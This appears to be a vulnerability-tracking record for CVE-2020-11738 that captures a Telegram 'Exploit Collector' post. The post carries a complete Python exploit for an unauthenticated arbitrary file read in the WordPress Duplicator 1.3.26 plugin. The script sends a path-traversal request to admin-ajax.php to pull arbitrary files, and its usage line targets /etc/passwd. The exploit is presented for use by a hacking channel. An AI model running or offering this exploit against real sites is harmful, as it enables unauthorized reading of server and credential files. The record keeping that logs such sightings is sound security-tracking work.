{"uuid": "8b0a688d-93a1-4117-a542-09db35dd6f12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-11738", "type": "seen", "source": "https://t.me/hacking_Attack/28103", "content": "Exploit Collector\nWordPress Duplicator 1.3.26 Arbitrary File Read\n\nhttps://3.bp.blogspot.com/-vLPaJ0bXchM/WWlvcii8AuI/AAAAAAAAIPY/lohzKYQrhRkUA5ocnA3xRTtIEj7YZIM-ACLcBGAs/s1600/h77.png \nWordPress Duplicator plugin version 1.3.26 suffers from an unauthenticated arbitrary file read vulnerability.\n\nMD5 | 18669dd16268ad8eff125d1a41041c75\n\nDownload\n# Exploit Title: Wordpress Plugin Duplicator 1.3.26 - Unauthenticated Arbitrary File Read\n# Date: October 16, 2021\n# Exploit Author: nam3lum\n# Vendor Homepage: https://wordpress.org/plugins/duplicator/\n# Software Link: https://downloads.wordpress.org/plugin/duplicator.1.3.26.zip]\n# Version: 1.3.26\n# Tested on: Ubuntu 16.04\n# CVE : CVE-2020-11738\n\nimport requests as re\nimport sys\n\nif len(sys.argv) != 3:\nprint(\"Exploit made by nam3lum.\")\nprint(\"Usage: CVE-2020-11738.py http://192.168.168.167 /etc/passwd\")\nexit()\n\narg = sys.argv[1]\nfile = sys.argv[2]\n\nURL = arg + \"/wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../../../../..\" + file\n\noutput = re.get(url = URL)\nprint(output.text)\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:13.155324Z"}